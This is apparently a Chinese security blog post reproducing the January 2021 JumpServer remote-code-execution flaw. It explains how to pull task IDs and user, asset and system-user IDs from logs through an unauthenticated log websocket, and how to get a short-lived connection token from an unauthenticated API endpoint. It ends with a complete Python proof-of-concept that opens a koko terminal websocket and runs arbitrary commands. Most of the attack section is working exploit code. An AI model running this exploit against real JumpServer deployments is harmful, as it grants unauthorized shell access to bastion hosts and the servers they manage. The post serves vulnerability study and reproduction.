JumpServer远程执行漏洞 复现

作者: print("") 分类: 漏洞复现 发布时间: 2021-01-15 21:00

首先。安装

安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

github 安装脚本全部是安装最新版的。

安装的时候注意几个坑。

这里全部选择no

然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/

访问jumpServer

跟踪一下漏洞代码【未授权】socketweb

https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py

新版就加了一个判断。那么就直接连接上这个websocket 进行日志读取

插件下载

https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

ws://192.168.1.73:8080/ws/ops/tasks/log/

{"task":"/opt/jumpserver/logs/jumpserver"}

搜索存在一些task id

查看task id 的一些信息

这个信息是不可能泄露账号密码的。别被误导了。

获取system_user   user asset 正确的操作方式

通过日志中的。api/v1/perms/asset-permissions/user/validate 信息。获取到临时的token  20S

import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

url_host='http://192.168.1.73:8080'

def get_token():
    url = url_host+'/api/v1/users/connection-token/?user-only=1'
    response = requests.post(url, json=data).json()
    print(response)
    return response['token']
get_token()

然后这个20s 的token 能做啥,具体的跟踪代码。

登陆后台

找到koko.js

后端代码如下:

https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

尝试websocket 连接一下试试。

最后通过脚本执行

POC:

# -*- coding: utf-8 -*-
# import requests
# import json
# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
#
# url_host='http://192.168.1.73:8080'
#
# def get_token():
#     url = url_host+'/api/v1/users/connection-token/?user-only=1'
#     url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
#     response = requests.post(url, json=data).json()
#     print(response)
#     ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
#     print(ret.text)
# get_token()
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    try:
        import sys
        host=sys.argv[1]
        cmd=sys.argv[2]
        if host[-1]=='/':
            host=host[:-1]
        print(host)
        data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
                "system_user": "79655e4e-1741-46af-a793-fff394540a52"}
        print("##################")
        print("get token url:%s" % (host + url,))
        print("##################")
        res = requests.post(host + url, json=data)
        token = res.json()["token"]
        print("token:%s", (token,))
        print("##################")
        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
        print("target ws:%s" % (target,))
        asyncio.get_event_loop().run_until_complete(main_logic(cmd))
    except:
        print("python jumpserver.py http://192.168.1.73 whoami")



注意: 需要改你从日志中获取的获取的system_user    user_id  和assat的值

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

3条评论

发表评论

您的电子邮箱地址不会被公开。